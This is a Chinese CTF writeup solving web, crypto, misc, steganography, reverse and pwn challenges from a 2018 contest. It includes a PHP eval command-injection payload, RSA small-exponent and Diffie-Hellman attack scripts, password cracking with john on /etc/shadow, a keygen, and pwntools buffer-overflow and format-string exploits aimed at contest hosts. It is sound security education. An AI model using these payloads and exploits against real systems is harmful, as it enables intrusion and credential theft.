2018开源聚合杯网络空间安全大赛部分题目writeup

阅读量    34571 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

前言

随着网络安全受到持续性关注,攻防演练和攻防成为热点,全国各类不同规模攻防演练的激增,由华安普特与京东安全赞助的开源聚合杯网络空间安全大赛于5月落下帷幕。今天以CTF中各个题型的部分赛题为例,详解打CTF的心里路程与解题思路。其中包含web、隐写、逆向、pwn等多题型。

 

WEB

旗帜变量

题目描述
flag真的在变量里哦
答题地址:
http://202.98.28.108:10991/uwg8923ybl/

解析思路
利用超全局变量GLOBALS
访问首页直接能获取到源代码
此题目考察的是全局变量以及var_dump的问题。我们发现代码中利用正则表达式过滤了大部分可以执行的部分,但是最终args变量带入到了var_dump中,我们可以显示其中的内容。想到了flag变量是被包含进来的,我们可以用GLOBAL变量将其显示,于是最终访问:
http://202.98.28.108:10991/uwg8923ybl/?args=GLOBALS
获得flag{92853051ab894a64f7865cf3c2128b34}

显示问题

题目描述
显示内容很丰富哦
答题地址:http://202.98.28.108:10991/b932hsfgui/

解析思路
本题目看似与上一个题目相同,但是我们发现其中少了一个$符号,也就是不存在变量名覆盖的问题,我们也就不能够直接定义一个GLOBAL变量来显示flag了。只能另想办法。
这里想到可以利用双引号的闭合然后利用eval进行命令注入。
于是传入payload:?hello=1);echo cat flag.php;//

成功获得flag
记得要查看源代码中才能够看到注释了的flag哦

 

CRYPTO

交换密钥

题目描述
请找到正确的密钥并以格式:flag{a,b}形式提交
提示:有很多可能性,其中我们需要找到最大的匹配答案提交,并且a和b都小于1000
flag{710,808}

解析思路
在这个题目中,我们需要解决的是小密钥的Diffe-hellman的密钥交换破解问题,正如题目中给出的密钥交换算法中的描述:
图中展示的是两个人交换密钥的一些参数,我们现在就是一个中间人,截取到了他们两个密钥交换的中间参数。按照Diffie-Hellman的描述,我们只获取中间的参数也就是ga和gb是无法直接求出最终密钥gab的。不过这个题目中给出的参数都很小,我们可以根据题目提示,最大的一组参数暴力破解得到a和b
代码如下:

import numpy as np
q=541
g=10

alist=[]
aplus=[]
gaplus=[]
for a in range(1,1000,1):
  if(a<3):
    v=np.power(g,a)%q
    alist.append(v)
  else:
    v=(alist[a-2]*g)%q
    alist.append(v)
  if v==298:
    aplus.append(a)
    gaplus.append(v)


blist=[]
bplus=[]
gbplus=[]
for b in range(1,1000,1):
  if(b<3):
    v=np.power(g,b)%q
    blist.append(v)
  else:
v=(blist[b-2]*g)%q
    blist.append(v)
  if v==330:
    bplus.append(b)
    gbplus.append(v)

gabplus=[]
for i in range(0,len(aplus),1):
  for j in range(0,len(bplus),1):
    for pw in range(1,bplus[j],1):
      if(pw<3):
        v=np.power(gaplus[i],pw)%q
        gabplus.append(v)
      else:
        v=(gabplus[pw-2]*gaplus[i])%q
        gabplus.append(v)
      if(v==399):
        print "flag{"+str(aplus[i])+","+str(bplus[j])+"}"

所以最终flag为:flag{710,808}

密钥测试

题目描述
Alice和Bob决定利用抓包的方式测试一下他们之间的通信是否会被泄露。抓取的数据都在日志中了,请查看一下他们的私钥是否存在被破解的危险
答案格式:flag{xxxx},不要key=flag{bff149a0b87f5b0e00d9dd364e9ddaa0}

解析思路
在这个题目中,我们获取到一个加密嗅探值sniffer_28394hjkasnf.log,根据题目描述,这个是alice和bob为了测试是否加密参数是否可行的一个值。
根据观察,我们发现其中3个值唯一相同点就是公钥参数E都是3,这是不是类似于共模漏洞也可以攻击呢?
当然可以,用以下脚本,攻击一段时间获取了私钥文件:

x1 = 258166178649724503599487742934802526287669691117141193813325965154020153722514921601647187648221919500612597559946901707669147251080002815987547531468665467566717005154808254718275802205355468913739057891997227
x2 = 82342298625679176036356883676775402119977430710726682485896193234656155980362739001985197966750770180888029807855818454089816725548543443170829318551678199285146042967925331334056196451472012024481821115035402
x3 = 22930648200320670438709812150490964905599922007583385162042233495430878700029124482085825428033535726942144974904739350649202042807155611342972937745074828452371571955451553963306102347454278380033279926425450
e = 3

n1 = 770208589881542620069464504676753940863383387375206105769618980879024439269509554947844785478530186900134626128158103023729084548188699148790609927825292033592633940440572111772824335381678715673885064259498347
n2 = 106029085775257663206752546375038215862082305275547745288123714455124823687650121623933685907396184977471397594827179834728616028018749658416501123200018793097004318016219287128691152925005220998650615458757301
n3 = 982308372262755389818559610780064346354778261071556063666893379698883592369924570665565343844555904810263378627630061263713965527697379617881447335759744375543004650980257156437858044538492769168139674955430611


def find_invpow(x, n):
    """Finds the integer component of the n'th root of x,
    an integer such that y ** n <= x < (y + 1) ** n.
    """
    high = 1
    while high ** n < x:
        high *= 2
    low = high / 2
    while low < high:
        mid = (low + high) // 2
        if low < mid and mid ** n < x:
            low = mid
        elif high > mid and mid ** n > x:
            high = mid
        else:
            return mid
    return mid + 1


def chinese_remainder(n, a):
    sum = 0
    prod = reduce(lambda a, b: a * b, n)

    for n_i, a_i in zip(n, a):
        p = prod / n_i
        sum += a_i * mul_inv(p, n_i) * p
    return sum % prod


def mul_inv(a, b):
    b0 = b
    x0, x1 = 0, 1
    if b == 1: return 1
    while a > 1:
        q = a / b
        a, b = b, a % b
        x0, x1 = x1 - q * x0, x0
    if x1 < 0: x1 += b0
    return x1


if __name__ == '__main__':
    n = [n1, n2, n3]
    a = [x1, x2, x3]
    c = chinese_remainder(n, a)
    mCube = c % (n1 * n2 * n3)
    solution = find_invpow(mCube, e)
    # Results
    print solution
    print hex(solution)

    # To check our result
    print solution * solution * solution == mCube

经过hex转码之后得到真正的flag:
key=bff149a0b87f5b0e00d9dd364e9ddaa0

 

MISC

战队名

题目描述
一个大佬战队来报名了,他们的给我了一个很长的队员id名单,他们说战队名就在里面…我怎么找不到呢?

解析思路
根据题目提示,我们想要把给出的对原名称合起来,并且转换为一组值。先观察name.txt文件,发现最后一行比较奇特:
双等号的意思,所以猜测是base64.我们根据“藏头诗”的想法,提取每个名字第一个字符。并且最后追加双等号得到:

ZmxhZ3t3aGF0J3NfWW91cl9uYW1lfQ==

Base64解密之后得到最终明文:

flag{what’s_Your_name}

密码和约翰

题目描述
请找到密码相关项就是最终答案,答案格式:flag{xxx}

解析思路

本题目给出了一个linux主机中全部文件,根据提示,使用john(kali中自带安装)破解该主机中的密码,
使用命令:unshadow /etc/passwd /etc/shadow > test_passwd命令创建简单的连接文件。
使用命令:john —wordlist=/usr/share/john/password.lst test_passwd进行密码破解
使用命令:john —show test_passwd查看破解结果

那么破解了gohan用户密码为dragon1,也就是flag

签到题

题目描述
抓到了木马文件,但是被杀毒软件查杀了。请恢复签名,并找到ftp传送的文件。

解析思路
这是个签名被破坏了的数据包文件,但是不妨碍直接提取字符串。
使用strings(linux下)直接提取字符串,并用grep搜索flag
得出flag{roses_r_blue_violets_r_r3d_mayb3_harambae_is_not_kill}

 

STEGA

夺旗赛

题目描述
旗帜既是flag,答案格式flag{xxx}

解析思路

题目给出的影片其实需要搜索的部分是静态部分的画面,我们通过FFmpeg命令将其转换为一帧的静态图片:
根据提示,需要观察其中的旗子,通过stegsolve发现其实像素中有不同

根据黑色为“0”,白色为“1”提取得到一串二进制:
01100110 01101100 01100001 01100111 01111011 01010011 01110100 01100101 01100111 00110000 01011111 01100110 00110001 01000001 01100111 01011111 01001111 01001011 00100001 01111101
在线转换为字符得到:
https://wishingstarmoye.com/tools/ascii
flag{Steg0_f1Ag_OK!}

大脑切片

题目描述
这种透明的图片就是看得人脑壳疼…
答案格式:flag{xxx}

解析思路
图片是一张带有透明度的图片,并且颜色分布无规律的马赛克
利用alpha.py脚本将alpha通道提取并且根据颜色(rgb,都是16的倍数)进行排序,并当做ascii码转换为字符串,去除小写字母和0后得到一串明文
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.++++++.—————-.++++++.++++++++++++++++++++.——.——————————————————————————————————.++++++++++++++++++++++++++++++++++++++++++++.+++++++++++++++++++.—————————-.+++++++++++++++++++++.——————.——————————————————————————-.++++++++++++++++++++++++++++++++++++++++++++.+++++++++.————————————————————————————.++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++..+++.++++++++.————————————.++++++++++++++.—————————————————————————————.+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.+++++++++++++++.
利用brainfuck解密得到flag{w3_r_th3_h0llow_m3n}

 

REVERSE

注册码

题目描述
注册人flagshop,请找到flagshop的注册码。
flag格式:flag{xxx}

解析思路
IDA中通过shift+f12搜索字符串,找到“密钥无效”等中文信息:

找到调用函数:
其中验证函数使用的是sub_4011d0
继续跟进,发现了如下逻辑:
注册码是通过我们输入用户名得到的,而且开头会加上Happy@
所以我们写出逆算法

str='flagshop'
flag = 'Happy@'
for i in range(len(str)):
    flag+=chr((i+i*ord(str[i])*ord(str[i]))%66+33)
print flag


Flag:flag{ Happy@!R+3G@-D}

 

PWN

你知道BOF吗?

题目描述
nc 202.98.28.108 9897

解析思路

from pwn import *

useless = 0xABCD1234
offset = 40

payload = "A" * offset + p32(0xABCD1234)

r = remote('202.98.28.108',9897)
r.sendline(payload)
r.interactive()

得出flag{what_1s_BOF_you_know_now}

我的字符串

题目描述
nc 202.98.28.108 9896

解析思路

带有canary保护,需要先利用printf格式化字符串漏洞获取保护值,再次覆盖地址:

from pwn import *

r = remote('202.98.28.108',9896)

func = 0x0804854d
r.sendline('%15$x')
canary = int(r.recv(), 16)

payload = 'A'*40 + p32(canary) + 'B'*12 + p32(func)

r.sendline(payload)
r.interactive()


得到flag{fmt_really_good_for_PWN}

锵锵锵,以上是大致解题的思路与过程,欢迎大家交流!

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多